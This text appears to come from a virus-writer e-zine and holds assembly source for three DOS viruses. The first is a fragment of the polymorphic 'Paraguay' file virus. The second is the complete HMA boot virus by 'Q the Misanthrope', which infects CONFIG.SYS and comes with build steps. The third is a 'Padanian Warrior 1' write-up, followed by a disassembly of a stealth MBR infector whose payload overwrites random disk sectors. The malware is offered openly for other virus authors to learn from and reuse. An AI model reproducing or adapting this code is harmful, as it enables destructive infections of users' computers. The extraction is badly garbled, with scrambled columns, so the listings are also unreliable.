mov [bx],0b68dh mov bx,offset Paso5 mov [bx],0c681h mov bx,offset Paso6 mov [bx],0b956h mov bx,offset Paso9 mov [bx],03481h mov bx,offset Paso10 test al,3 jz MasPoly mov [bx],04646h jmp AlBuffer MasPoly:mov [bx],0acach jmp AlBuffer Cambia2:mov bx,offset Paso4 mov [bx],09e8dh mov bx,offset Paso5 mov [bx],0c381h mov bx,offset Paso6 mov [bx],0b953h mov bx,offset Paso9 mov [bx],03781h mov bx,offset Paso10 mov [bx],04343h jmp AlBuffer Cambia3:mov bx,offset Paso4 mov [bx],0be8dh mov bx,offset Paso5 mov [bx],0c781h mov bx,offset Paso6 mov [bx],0b957h mov bx,offset Paso9 mov [bx],03581h mov bx,offset Paso10 mov [bx],04747h

; ADD SI,XX ; PUSH SI / MOV CX ; XOR WORD PTR [SI] ; Use other way ; INC SI / INC SI ; LODSB / LODSB ; LEA BX,[BP+XX]

; ADD BX,XX ; PUSH BX / MOV CX ; XOR WORD PTR [BX] ; INC BX / INC BX ; LEA DI,[BP+XX]

; ADD DI,XX ; PUSH DI / MOV CX ; XOR WORD PTR [DI] ; INC DI / INC DI

AlBuffer: mov cx,200d call MuTabla sub dx,dx mov bx,offset Ensuciar Basureo:xor cx,cx mov cx,[bx] inc bx inc bx push bx push dx mov bx,[bx] call Ygramul pop dx pop bx inc bx inc bx inc dx cmp dx,13 jb Basureo mov xor mov rep cx,(Largor/2) si,si di,offset CopiaVir movsw

; Change opcode order in the table ; named MontonDeBasura

; Add random garbage to the decryptor

; Copy virus to heap

mov cx,Cripted ; Encrypt it mov si,(offset CopiaVir+Saltarlos) mov di,si ; To use the decryptor with any mov bx,di ; of the index registers call Desencriptor ; chosen. ret

Ensuciar: dw dw dw dw dw dw dw dw dw dw dw dw dw

09,offset 04,offset 02,offset 06,offset 03,offset 05,offset 02,offset 04,offset 03,offset 07,offset 02,offset 04,offset 08,offset

Paraguay Junk02 Junk03 Junk04 Junk05 Junk06 Junk07 Junk08 Junk09 Junk10 Junk11 Junk12 Junk13

; Locations of the decryptor in ; which we'll insert garbage from ; MontonDeBasura

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ ;! PongoFecha: Restore victims date, and time with secs=60 ! ;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ PongoFecha: mov ax,5701h ; Set db 0b9h ; mov cx,time Time dw 0 ; Last modified time and cl,11100000b ; Set as infected or cl,00011110b ; 30*2=60! db 0bah ; mov dx,date Date dw 0 ; Last modified date pushf ; Call handler directly call dword ptr cs:[Real21h] ret ; And return

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ ;! Sub-Rutine used for pointer moves up to the end ! ;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ AlFinal:mov ax,04202h ; To the end xor cx,cx cwd ; XOR DX,DX int 21h ret

Segmentos: push cs push cs pop ds pop es ret

; DS:=CS

&

ES:=CS

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ ;! MUTABLA: Exchange the trash opcodes position ! ;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ MuTabla:xor ax,ax

in al,40h test al,1 jz YaEsPar inc al YaEsPar:mov si,offset MontonDeBasura add si,ax mov dx,[si] xor ax,ax in al,40h test al,1 jz Alli inc al Alli: mov di,offset MontonDeBasura add di,ax mov bx,[di] mov [si],bx mov [di],dx loop MuTabla ret

; Random number from port 40h ; Is it even? ; ; ; ; If not, make it even The table Get a 2 byte-instruction into DX

; Another random number ; If not even, make it even

; ; ; ;

Garbage 2-byte table Get the instruction into bx Exchange its positions

; CX times

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ ;! YGRAMUL: Chose random junk-instructions and put them into memory ! ;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Ygramul:xor di,di ; Garbage intruder Otro: xor ax,ax ; Ygramul, the mutant in Endless Story in al,40h ; Random number test al,1 ; Is it even? jz Aqui inc al ; Nope, add one Aqui: mov si,offset MontonDeBasura add si,ax ; Get the instruction mov ax,si mov dx,[si] mov [bx],dx ; Write it in its position inc bx ; add bx,2 (index) inc bx inc di ; Update the counter cmp di,cx ; Enough? jne Otro ret

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ ;! Mont¢nDeBasura: The garbage instruction which variate the decryptor ! ;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ MontonDeBasura: ; garbage heap ; Instrucci¢n Opcode ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Ä Ä Ä Ä Ä ÄDLE db 087h,0c0h ; xchg ax,ax xchg bx,bx ; 87 DB xchg cx,cx ; 87 C9 xchg dx,dx ; 87 D2 xchg si,si ; 87 F6 xchg di,di ; 87 FF xchg bp,bp ; 87 ED xchg al,al ; 86 C0 xchg bl,bl ; 86 DB xchg cl,cl ; 86 C9 xchg dl,dl ; 86 D2 xchg ah,ah ; 86 E4

xchg bh,bh xchg ch,ch xchg dh,dh cld int 03h nop nop pushf popf push es pop es inc ax dec ax inc bx dec bx inc cx dec cx inc dx dec dx std cld stc clc jmp short $+2 jc $+2 jnc $+2 jz $+2 jnz $+2 jpo $+2 jpe $+2 jno $+2 jg $+2 js $+2 or ax,ax or bx,bx or cx,cx or dx,dx or si,si or di,di or bp,bp or ah,ah or al,al or bh,bh or bl,bl or ch,ch or cl,cl or dh,dh or dl,dl and ax,ax and bx,bx and cx,cx and dx,dx and si,si and di,di and bp,bp and ah,ah and al,al and bh,bh and bl,bl and ch,ch and cl,cl and dh,dh and dl,dl

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

86 86 86 FB CC 90 90 9C 9D 06 07 40 48 43 4B 41 49 42 4A FD FC F9 F8 EB 72 73 74 75 7B 7A 71 7F 78 0B 0B 0B 0B 09 09 09 08 08 08 08 08 08 08 08 23 23 23 23 21 21 21 20 20 20 20 20 20 20 20

FF ED F6

00 00 00 00 00 00 00 00 00 00 C0 DB C9 D2 F6 FF ED E4 C0 FF DB ED C9 F6 D2 C0 DB C9 D2 F6 FF ED E4 C0 FF DB ED C9 F6 D2

mov mov mov mov mov mov mov mov mov mov mov mov mov mov mov mov cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp cmp

ax,ax bx,bx cx,cx dx,dx si,si di,di bp,bp sp,sp ah,ah al,al bh,bh bl,bl ch,ch cl,cl dh,dh dl,dl ax,ax ax,bx ax,cx ax,dx ax,si ax,di ax,bp bx,ax bx,bx bx,cx bx,dx bx,si bx,di bx,bp cx,ax cx,bx cx,cx cx,dx cx,si cx,di cx,bp dx,ax dx,bx dx,cx dx,dx dx,si dx,di dx,bp si,ax si,bx si,cx si,dx si,si si,di si,bp di,ax di,bx di,cx di,dx di,si di,di di,bp bp,ax bp,bx bp,cx bp,dx bp,si

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

89 89 89 89 89 89 89 89 88 88 88 88 88 88 88 88 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B 3B

C0 DB C9 D2 F6 FF ED E4 E4 C0 FF DB ED C9 F6 D2 C0 C3 C1 C2 C6 C7 C5 D8 DB D9 DA DE DF DD C8 CB C9 CA CE CF CD D0 D3 D1 D2 D6 D7 D5 F0 F3 F1 F2 F6 F7 F5 F8 FB F9 FA FE FF FD E8 EB E9 EA EE

cmp bp,di cmp bp,bp

; 3B EF ; 3B ED

Omega: HeavyMetal Vsuck HacerStealth Handle Atributos Vieja24h CopiaVir Cabecera

dw db db dw db dd db db

0 0 1 0 0 0 Largor dup('P') 45d dup(0)

; ; ; ; ; ; ; ; ;

End of virus on the file Heavy Metal even in RAM ;) Vsafe's flags Flag to make or not the stealth File's key File's attribs 24h's old handler Here will go the encrypted virus We will read the file here

FakeHoste: mov ax,4c00h int 21h End Paraguay

; Turn back to DOS

; A virus never is finished, just ; abandonated. Now is my time ;)

comment * Designed by "Q" the Misanthrope This virus uses HMA memory extensively. It boots directly into the HMA by the brute force method. It then waits till DOS loads then creates a random file and adds an Install= statement to the CONFIG.SYS that loads the virus again into the HMA (not bad for 512 bytes.) Also works with Windoze 95. tasm hmaboot /m2 tlink hmaboot exe2bin hmaboot.exe hmaboot.com format a:/q/u debug hmaboot.com l 300 0 0 1 w 100 0 0 1 w 300 0 20 1 m 11e,2ff 100 w q copy hmaboot.com c:\BBFNJACD edit c:\config.sys Install=\BBFNJACD altf x y * .286 qseg segment byte public 'CODE' assume cs:qseg,es:qseg,ss:nothing,ds:qseg jmp 90h db 512 1 1 2 224 2880 0F0h 9 18 2 org com_install proc mov int mov mov push int pop push pop pushf mov push short hma_install "MSDOS5.0"

top: db dw db dw db dw dw db dw dw dw

001eh near ax,3501h ;tunnel to interrupt 21h 21h dx,offset interrupt_1-com_install+100h ah,25h ;set our interrupt 1 routine es 21h ds ;set ds:dx to set int 1 back 00h ;es=00h es ;simulate interrupt stack dx,bx cs ;simulate stack to return to

com_install hma_install

push int jmp endp proc pusha mov out in and jnz mov out popa equ mov push pop les mov lea push push push rep si mov rep mov push push mov call mov mov mov push mov rep mov stosb pop pop push call endp proc mov shr mov shl add mov cx sub int retf endp db

es 01h dword ptr es:[21h*04h]

;cs:00h that terminates virus ;set interrupt trap bit ;simulate int 21 and trace it

near al,0d1h 64h,al al,64h al,02h reloop al,0e3h 60h,al $+01h bx,7c00h cs

;brute force HMA access @ boot ;for 8042 keyboard controller

reloop:

;enable HMA

es_si make_hma: cld

;trick to get es:si point HMA ;for reading boot sector ;becomes fc0eh for es

ds ;load es:si=fc0e:7c00 in HMA si,dword ptr ds:[bx+offset es_si-top] cx,offset previous_hook ;loop counter di,word ptr ds:[si] ;source is 0000:7c00 cs bx si movsb ;move it to HMA cl,low((offset previous_hook-top)/2) movsw ;copy it again to HMA si,1ah*04h ;hook interrupt 1ah si es ax,offset interrupt_1a+7e00h-02h hook_interrupt ;hook interrupt into HMA es,cx ;es=0 cx=low mem kernal length cl,low(offset make_hma-hma_install) di,0201h ;for low mem stub and int 13 di si,offset hma_install+7c00h movsb ;HMA enable stub to low mem al,0eah ;far jump ax si cs hook_interrupt ;ax=0201 for int 13 read ;point it 1a to stub ;for far call return ;set int 1a to point to stub

pop

hma_install set_cx_dx

near ;read original bootsector si,word ptr ds:[bx+11h] ;from last sector of root si,04h ;directory cx,word ptr ds:[bx+16h] cx,01h cx,si dh,01h cx,word ptr ds:[bx+18h] 13h ;read it and then jump to it

inc

set_cx_dx config_line

"C:\Config.Sys",00

;what to infect

install_name file_name crlf interrupt_1 push push

db db equ proc pusha sp pop ds push lds cmp jne cmp je mov cmp jb mov mov mov int inc jz push cld mov mov rep pop lea push call xor pop pop popa iret endp proc movsw movsw mov mov retf endp proc pushf ds push cs ds mov mov int mov xchg jc int jcxz

"Install=" "\",00h $+07h near

;what to add ;random file goes here ;a carrage return line feed ;tunnel routine to hook int 21

bp es bx,dword ptr ss:[bp+10h];get instruction word ptr ds:[bx+01h],02effh go_back ;was it a far indexed jump byte ptr ds:[bx-0ah],6ah toggle_tf ;was it our code si,word ptr ds:[bx+03h] ;get index of jump byte ptr ds:[si+03h],0f0h go_back ;was it in the HMA bh,high(((tail-com_install+10h)SHR 4)*10h)+01h di,0ffffh ;if so then allocate HMA ax,4a02h ;to load virus into 2fh di ;di=0 if no HMA toggle_tf si ;save location of int 21 chain cx,previous_hook-com_install si,0100h ;copy virus to HMA movs byte ptr es:[di],cs:[si] si ;hook into int 21 chain ax,word ptr ds:[di-(offset previous_hook-resident_21)] cs ;for far call hook_interrupt ;hook in byte ptr ss:[bp+15h],01h;toggle single step flag es ds ;pop all varables ;return

toggle_tf: go_back:

interrupt_1 hook_interrupt

near

;hook interrupt ;move ds:si to es:di ;4 bytes worth word ptr ds:[si-04h],ax ;hook into ds:si es:ax word ptr ds:[si-02h],es ;return far

hook_interrupt interrupt_21 pusha push push pop

near

;momentary int 21 routine

es

ax,3d42h ;open config.sys dx,offset config_line+7e00h-02h 18h bx,5700h ;get date ax,bx retry_later ;jump if error 18h close_it ;check if infected

inc pusha mov mov mov int jc mov mov mov lea std rep push pop mov int mov mov xchg mov int mov int popa pusha mov cwd push pop int mov mov mov mov int mov int popa sub int mov int lds jmp jmp endp proc pushf mov ds es int inc jnz mov mov mov les mov

ax

ah,48h bx,0888h cx,bx 18h popa_close_it es,ax ;new segment to copy virii to dx,offset file_name+7e00h-02h di,dx ;ds:dx points to virii name si,word ptr ds:[di] movsw ;move the virus to low mem es ds ah,5ah ;create random file 18h dx,offset com_install+7c00h bh,40h ;now write it ax,bx ch,02h ;at least 512 bytes worth 18h ah,3eh ;close it 18h ;get handle of config.sys ;push it again ax,4202h ;goto the end of config.sys dx cx 18h ah,40h ;write install= line and crlf word ptr ds:[crlf+7e00h-02h],0a0dh cl,low(crlf-install_name+02h) dx,offset install_name+7e00h-02h 18h ;add line to config.sys ah,49h ;deallocate memory 18h ;get file date cx,cx ;mark that it is infected 18h ah,3eh ;close config.sys 18h dx,dword ptr ds:[previous_hook+7c00h] short set_int_21 ;unkook int 21 short jmp_pop_it

;for set date later ;save it ;allocate lower memory for ;disk write to config.sys

popa_close_it:

close_it: set_21_back: retry_later: interrupt_21 interrupt_1a pusha

near

;interrupt 1a hook at startup

ax,1200h

;dos loaded yet?

push push cwd

2fh al jmp_pop_it ds,dx ;if so then unhook int 1a and si,21h*04h ;hook int 21 and set int 18 di,offset previous_hook+7c00h bx,dword ptr cs:[previous_hook+7e00h-02h] ds:[si-((21h-1ah)*04h)],bx

les

mov ds:[si-((21h-1ah)*04h)+02h],es bx,dword ptr ds:[si] mov ds:[si-((21h-18h)*04h)+02h],es mov ds:[si-((21h-18h)*04h)],bx push cs es movsw mov push pop mov int jmp endp org ;hook in int 21 dx,offset interrupt_21+7c00h cs ds ax,2521h ;set int 21 18h short pop_it

cld pop movsw

set_int_21: jmp_pop_it: interrupt_1a

001aeh near ;resident int 21 routine

resident_21

next_line:

pop_it:

proc pushf pusha push push cmp jne mov pushf push call or jnz call pop add push mov pop push mov cwd pop int jc mov org jmp cmp je mov pusha push call xchg cld mov lea lea rep popa int pop pop

ds es ah,38h pop_it ah,19h

;infect on get country code ;see if drive a:

cs far_jmp al,al pop_it ;if not then don't infect next_line ;get offset in HMA bx bx,offset vbuffer-next_line cs cx,0001h ;read boot sector es cs ax,0201h ds 13h pop_it di,0000h $-02h $(hma_install-top) di,word ptr ds:[bx] pop_it ax,0301h cs set_cx_dx di,word ptr ds:[bx]

;any errors then leave ;move di the jmp instruction ;at the start of the virii ;check if it is infected ;if so then leave ;move old boot sector

;for far call ;write old boot sector ;put jmp in boot sector ;copy virii to boot sector cx,previous_hook-com_install si,word ptr ds:[bx-offset (vbuffer-com_install)] di,word ptr ds:[bx+com_install-top] movsb ;write virus 13h es ;clean the stack ds

popa popf resident_21

endp org 001fdh near 0eah double

far_jmp previous_hook: far_jmp boot_signature

proc db label endp dw org label org label ends

;jump to previous hook

0aa55h $+02h byte $+0202h byte

;boot sector thingy

vbuffer tail qseg end

;where the reads/writes are ;the end

comment * Virus spotlite: Padanian Warrior 1 by b0z0/iKx, Padania 1997

Virus Name AV Name Origin Type Lenght

: : : : :

Padanian Warrior 1 IntCE (AVP), Int_CE (F-Prot) Padania Boot infector one sector

Virus Description: ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ This is a very cool boot virus that infects the MBR of the hard disk and infects any floppy disk that is accessed via DOS. This boot virus is extremely compact and implements a lot of interesting methods and tricks. The Padanian Warrior 1 in fact: -> Doesn't allocate memory -> Infects the MBR using ports -> Makes booting from a floppy quite hard -> Uses the 18_tech -> Uses 386 instructions -> Full stealth on MBR -> Read stealth on floppy boot -> Has a very cool method to activate the payload -> Has a destructive payload Of course as you may suppose due to space restriction (hey, don't say "I may do that 25 bytes shorter" :) ) there are also some bad things in this virus, but these will be shown later. Now let's examine deeper every aspect of this cool virus... Virus residency: ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ The virus uses a quite good way of going resident and doing his work. In fact the virus won't allocate as usually some memory but will rather copy itself into an unused part of the Interrupt Vector Table. Since 200h bytes may be too much and may cause some problems with the interrupts (since you may have to find a place with 80h unused ints) the virus will use just a little (3Ch bytes) part of the IVT. Here the virus will copy just the vital part of itself (this is the interrupt handler) that will provide when necessary to load the rest of the virus body. The virus will be copied always from 0:300 up to 0:33Ch. Another good trick that the virus uses is to use a piece of the copied part to call the original interrupt vector. In fact the virus will store the old interrupt vector in the dword at 0:338h. This of course will be used to chain the call to the original interrupt handler (doing a jmp far). But on the other side the dword at 0:338h is also the dword for the seg:off of the interrupt number 0CEh. So the virus instead of doing some space-consuming calls or something will just call the interrupt 0CEh when it will need to do a call to the original Int13h (AV name came just from this use of the 0CEh interrupt). As already mentioned the virus uses the 18_tech (look in Xine #2 for more explanations about this), so it won't issue any problem using windows and will be less AV-noticeable.

Padanian Warrior interrupt handler: ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ Since it uses 18_tech at first it needs to correct in some way the stack. Of course the VW decided to do the work simply with an add (instead of popping

like a good school boy :) ) and this is also a good antitrace. The handler will check for reads or writes on the first sector of disks and floppyes. When one interesting call is encountered the virus will save 400h bytes from the user's buffer (this is from ES:BX) to a buffer on the hard disk (two sectors after the virus body on the disk). Then the virus will load its entire body in the user's buffer from the hard disk and will jump (push seg:off and do a retf) to the just readed infection/stealth part. If the user requested a write on the MBR the virus will just change the call to a disk reset, if a read on the MBR occours the virus will return the original MBR, if a write on a floppy occours the virus will just leave it to proceed and finally if a read on the floppy is requested the virus will infect it and then will stealth the read returning a normal DOS boot. Of course the data that is returned for the stealth is written on the previsiously mentioned hard disk buffer. Infact at the end of the work the virus will jump back to the virus body permanently in memory and will just reread to ES:BX the hard disk buffer (that may have been changed also by the stealth routines).

MBR infection and new MBR manipulation: ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ The MBR infection is done at the boot from an infected floppy disk. To determinate if the virus is already present on the hard disk it will check if the first partition starts at sector 1 (very common). If it starts somewhere else (because it is already infected or for some other user's reason) the virus quits the MBR infection routine. First of all the virus will save itself and the original MBR on two sectors starting from 0,0,5 (cyl,side,sector) on the hd. Then it will change the partition table of the 'new' MBR in this way: ÖÄÄÄÄÒÄÄÄÄÄÄÒÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ· º N. º TYPE º Partition start º º º º C / H / S º ÇÄÄÄÄ×ÄÄÄÄÄÄ×ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ º 1 º orig º 0 / 0 / 5 º º 2 º ext. º 0 / 0 / 4 º ÓÄÄÄÄÐÄÄÄÄÄÄÐÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĽ So the first entry (the orig in type means that it will just leave the same as it was before) will point to the virus body on the disk (so it will be loaded at each boot from that hard disk). The second partition will point to another modified MBR copy that the virus will put on the disk. In this second modified MBR (at 0,0,4) the virus will just leave one extended partition that will point to the same sector (this is to again to 0,0,4). So if the user will try to do a boot from a clean floppy disk DOS will go in an infinite loop looking for some other extended partition :) Of course if the virus is active the MBR stealth provides to give the saved good MBR when needed. Just some specific versions of DOS are able to boot from an infected PC. To avoid some BIOS virus protections the virus uses ports to write to the MBR. The routine to do this is incredibly short and efficent. It consist of a first part where the virus initializes the controller to the write (this is just a loop using a table for the initialization sequence) and then after a pause it will send the 200h bytes that must be written.

Floppy infection and stealth:

ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ The virus won't save the original boot but it will just overwrite the original one with the virus body. It will preserve just the original serial number of the floppy. It won't even copy the BPB, but will just use the one from the first generation (that moved around with the virus :) ) that is part of the virus body. To see if the floppy is infected it will check the payload word (this is at 20h of the boot sector). If this is different than zero (set at formattation) then probably is already infected. As for stealth the virus will just give to the user a copy of the sector from the hard disk from 0,1,1 after coping the original BPB from the floppy disk to the right place. This stealth method counts on the fact that usually DOS is installed at 0,1,1 so there may be a good DOS boot sector to be used for stealth.

Payload activation: ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ Also the payload activation is intelligent (even if, in my opinion, the payload isn't). At every boot from the MBR the virus will decrement a payload counter by one (at virus installation this will be initialized to 78h) and when it will come to zero the payload will be activated. The real cool thing is that on every succesfull floppy disk infection the payload counter will be incremented by two, so on machines with a good traffic of floppyes (hehe, a good virus distro :) ) the payload may never activate. On the other side on closed machines that don't spread the virus the payload may activate faster. This is a good idea, since it may not be a good thing to activate the payload (and make anyone to understand that a virus is around by trashing all the data on the hard disk) on a PC where a lot of floppyes are moving everyday (for example in a PC shop, in a school or in an office), while an isolated machine that doesn't give any profit to the virus may be attacked. The payload is rather dummy: it will just go in an infinite loop where ranomly selected sectors (4 at once) are overwritten by some random data.

Other goodies: ÍÍÍÍÍÍÍÍÍÍÍÍÍÍ As for other goodies I may mention that the virus uses also some 386 instructions to make the code shorter and more efficent. The real virus name is "encrypted" at the end of the virus. To get the name you must UUENCODE the boot sector and you will see the name 8)))))

Bad virus aspects: ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ The virus has also some bad aspects. These aren't bugs or something like, but are things decided to make the code shorter. Padanian Warrior 1 infact relays to be on a system of a "normal" (say tipical if you want :) ) user. Infact for example it relays on the fact that a DOS partition is set on 0,1,1 , that all the diskettes (or quite all) have the same 1.44Mb format and that no other operating systems are used (since it doesn't save the original boot sector). But of course notice that IT FITS IN 448 bytes! So we can't pretend that it will make check of every possible O.S. or PC :) This "Bad virus aspects" section is only to give some ideas for future implementations and future viruses, not to say that the virus is bad! The virus relays on many settings and parameters from "normal" users, which are the real target of the virus (real users anyway aren't so lame to get infected... and don't use d0$ ;)) ) and this is normal, since to make all the possible checks the virus may have to use the entire floppy :) So, in my personal opinion, the Padanian Warrior 1 is effectively aimed to infect "normal" users and with those users it will

work really very fine, so I suppose it may have a good chance to stay in the wild!

Description conclusion: ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ This is undoubtely a VERY good boot virus. It has a lot of cool things and techs and all of this in just a sector. Expecially the port writing routine is great for its size and the payload activation method is undoubtely very interesting and may be interesting for payload activation for other viruses. Well, I think that you may find many interesting tricks and implementations that may give your next boot virus a better look :) Greetings to the author of the Padanian Warrior 1! Hey, we all are already waiting for the second one 8))

Virus disasm: ÍÍÍÍÍÍÍÍÍÍÍÍÍ And here finally we come to the virus disasm, enjoy! To compile, use TASM 3.0 (at least to get the real first generation): tasm /l /zi /m2 pdnwar.asm tlink /m /v pdnwar.obj tdstrip -c pdnwar.exe the resulting 512 bytes file must be put on a floppy boot sector... * .model tiny .code .386 ; Some macros, so the source will be more clear and readable :) ; This second macro is to prevent TASM to optimize in his way the LEA ; generation... since we want the same code as in the original virus :) lea_ok MACRO fromreg, segment, Imm16, refreg db 08dh ifidn <fromreg>, <di> db 0bfh endif ifidn <fromreg>, <DI> db 0bfh endif ifidn <fromreg>, <si> db 0b7h endif ifidn <fromreg>, <SI> db 0b7h endif dw Imm16 ENDM ; This last macro is to ; word in memory... add_l MACRO db db dw db ENDM prevent again a TASM optimization of add to a weird, pitr, refreg, offset, drek, add_value 83h 87h offset add_value

; End of macros... finally the real virus code! :-) org jmp nop 0 short virus_start ; Jump to virus body

; ; Here is placed the floppy data that will _always_ go around with the virus! ; This DBs are the first generation ones. ; db db db db db db db db org virus_start: push pop mov push pop push pop mov mov mov rep mov movsd cs ss sp,7c00h cs es cs ds ; Set SS:SP to 0:7C00h 04dh,053h,044h,04fh,053h,035h,02eh,030h 000h,002h,001h,001h,000h,002h,0e0h,000h 040h,00bh,0f0h,009h,000h,012h,000h,002h 000h,000h,000h,000h,000h,078h,000h,000h 000h,000h,000h,029h,000h,009h,042h,026h 04eh,04fh,020h,04eh,041h,04dh,045h,020h 020h,020h,020h,046h,041h,054h,031h,032h 020h,020h,020h 3eh

; CS = DS = ES = SS

si,(offset int18_handler + 7c00h) ; copy a part of virus body di,300h ; in a piece of the IVT cx,(offset orig_int13 - offset int18_handler) movsb si,4ch ; ; ; ; ; SI on orig int13h save Seg:Off of int13h at the end of our piece of body (exactly at the place for int CEh)

push push pop xor look_for_cd18: inc cmp jne mov mov mov

es 0f000h es bx,bx

; save ES for later

; point ES to ROM

; 18_tech routine bx word ptr es:[bx],18cdh look_for_cd18 si,04ch word ptr [si],bx word ptr [si+2],es ; search the int 18h in ROM

; set the int 13h to point ; to the CD18

mov pop mov mov mov mov cmp jb dec jnz payload: in xor ch,al in xor and mov bx,cx in xor and mov int jmp

dword ptr [si+14h],300h ; new int18h handler is at ; 0:300h es ax,301h bx,sp cl,5 dh,0 dl,80h not_from_hd word ptr ds:[7c20h] no_activation ; ; ; ; write a sector from disk from es:sp points where the virus resides on the hd

; is the hd?

; payload counter

al,40h al,40h cl,al cl,1fh ; get random offset in BX ; and random sector/cylinder ; in CX

al,40h dh,al dh,0fh ax,304h 0ceh short payload

; get random head in DH

; write 4 sectors

no_activation: int 0ceh ; rewrite the virus body ; in its place (counter ; decreased) ; ; ; ; ; ; ; ; read a sector the MBR set an int13h on the top of the stack execute the pushed int13. this is reload the old mbr (using stealth) and then run it

mov mov push jmp

ax,201h cl,1 013cdh sp

not_from_hd: mov mov mov mov mov int cmp jne word ptr ds:[7c20h],78h ; initialize the payload cntr ah,2 bh,7eh cl,1 dl,80h 0ceh ; ; ; ; ; read one sector to bx = 7E00h read the MBR from disk do the real int13h

byte ptr ds:[1bfh+bx],1 ; first partition starts at 1? already_infected ; no, so probably infected or ; infection may not be ok ax,302h bh,7ch ; write two sectors ; bx = 7c00h

mov mov

mov

cl,5

int

0ceh

; ; ; ;

save the virus body and the original mbr starting with sector 5 do the real int13h

mov mov mov rep

si,7fbeh di,7fceh cl,10h movsb

; points to the original ; partition table ; where to save it ; copy the partition table ; 10h below the original ; position

mov

word ptr ds:[3bfh+bx],0500h ; puts 05 as start of first ; partition in partition tbl di,7fceh ax,ax ; ; ; ; modify the partition table so it will be quite hard to boot without the virus in in memory :)

mov xor stosw mov stosw mov al,5 stosb mov

al,4 ; do virus second "partition"

si,(offset ide_prog + 7c00h) ; point to the init sequence cl,7 dx,1f0h

mov mov

; starting port - 1

; now the virus will initialize the controller, set the write mode etc... ; look at the ide_prog label for the details! program_ide: inc outsb loop dx program_ide ; increase port ; write DS:SI to port DX

wait_loop: loop mov mov mov rep mov mov mov rep mov mov rep mov mov mov wait_loop si,7e00h ch,1 dl,0f0h outsw si,7fceh di,7fbeh cl,10h movsb cl,30h al,0 stosb ax,301h bh,7eh cl,4

; wait a little for the ide

; ; ; ; ; ; ; ;

point to the 'new' MBR copy 200h bytes to port 1f0h write the modified MBR modify also the second saved MBR that will be of use to confuse dos at a boot from a clean floppy

; delete the a second entry ; from partition table

; write the second mbr to hd ; bx to the modified mbr

mov dx,80h int already_infected: int

0ceh

; do the real int13h

19h

; reboot

; From this point the virus will be copied to 0:300h in memory and will stay ; always there... int18_handler: add sp,6 ; correct stack since the ; virus uses 18_tech ; reading?

cmp jb cmp ja cmp jne cmp ja pusha mov mov mov int mov mov int add push push retf returning: int popa popf retf leave_call: 2

ah,2 leave_call ah,3 leave_call cx,1 leave_call dx,80h leave_call

; writing?

; on boot/mbr ?

; on floppy or hd?

ax,302h cl,7 dl,80h 13h ax,201h cl,5 13h bx,offset infect_ste es bx

; save 1024 bytes from ; the buffer ES:BX on a ; buffer on the HD

; read the entire virus ; from the HD to ES:BX

; jump to the infection ; routine (we just readed ; it from the disk)

13h

; Pop flags ; Return far

orig_int13

db dd

0eah 00h

; original seg:off of int13h ; int CEh will point on this ; doubleword

